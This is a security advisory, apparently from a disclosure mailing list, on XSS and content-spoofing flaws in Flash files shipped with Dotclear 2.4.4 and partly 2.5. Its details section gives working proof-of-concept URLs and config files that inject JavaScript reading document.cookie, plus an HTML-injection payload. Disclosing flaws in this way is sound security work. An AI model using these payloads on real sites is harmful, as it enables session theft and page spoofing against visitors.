XSS and CS vulnerabilities in Dotclear

Hello 3APA3A!

These are Cross-Site Scripting and Content Spoofing vulnerabilities in Dotclear.

CMS Dotclear has three vulnerable flash-files: swfupload.swf, player_flv.swf and player_mp3.swf.

File swfupload.swf it's Swfupload. I've wrote about vulnerabilities in Swfupload in November 2012 (http://securityvulns.ru/docs28759.html).

SecurityVulns ID: 12719
CVE: CVE-2012-3414

File player_flv.swf it's FLV Player. I've wrote about vulnerabilities in FLV Player in August 2011 (http://securityvulns.ru/docs26894.html).

SecurityVulns ID: 11877

File player_mp3.swf it's mp3 player similar to FLV Player (made by the same developer).


Affected products:

Vulnerable are Dotclear 2.4.4 (and partly 2.5) and previous versions.

In version Dotclear 2.5 the developers fixed vulnerabilities but not effectively: 1) all three vulnerable flash-files are exist in engine (so no need to take them from repository or from web sites for using in own projects, since these are vulnerable versions of flashes); 2) the developers changed swfupload.swf in Dotclear 2.5 on previous version, but this one is still vulnerable to all XSS and CS holes; 3) for of direct access to flash-files (via .htaccess), to prevent using of their vulnerabilities, works only in Apache, but not in other web servers (so web sites on them are vulnerable).


Details:

Cross-Site Scripting (WASC-08):

http://site/inc/swf/swfupload.swf?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(document.cookie);//

Cross-Site Scripting (WASC-08):

http://site/inc/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

http://site/inc/swf/player_flv.swf?onclick=javascript:alert(document.cookie)

http://site/inc/swf/player_flv.swf?configxml=http://site/attacker.xml

File xss.xml:

<?xml version="1.0" encoding="UTF-8"?>
<config>
<param name="onclick" value="javascript:alert(document.cookie)" />
<param name="ondoubleclick" value="javascript:alert(document.cookie)" />
</config>

http://site/inc/swf/player_flv.swf?config=http://site/attacker.txt

File xss.txt:

onclick=javascript:alert(document.cookie)
ondoubleclick=javascript:alert(document.cookie)

Code will execute after click. It's strictly social XSS.

Content Spoofing (WASC-12):

http://site/inc/swf/swfupload.swf?buttonText=test&#37;3Cimg&#37;20src=&#37;27http://demo.swfupload.org/v220/images/logo.gif&#37;27&#37;3E

It's possible to inject text, images and html (e.g. for link injection).
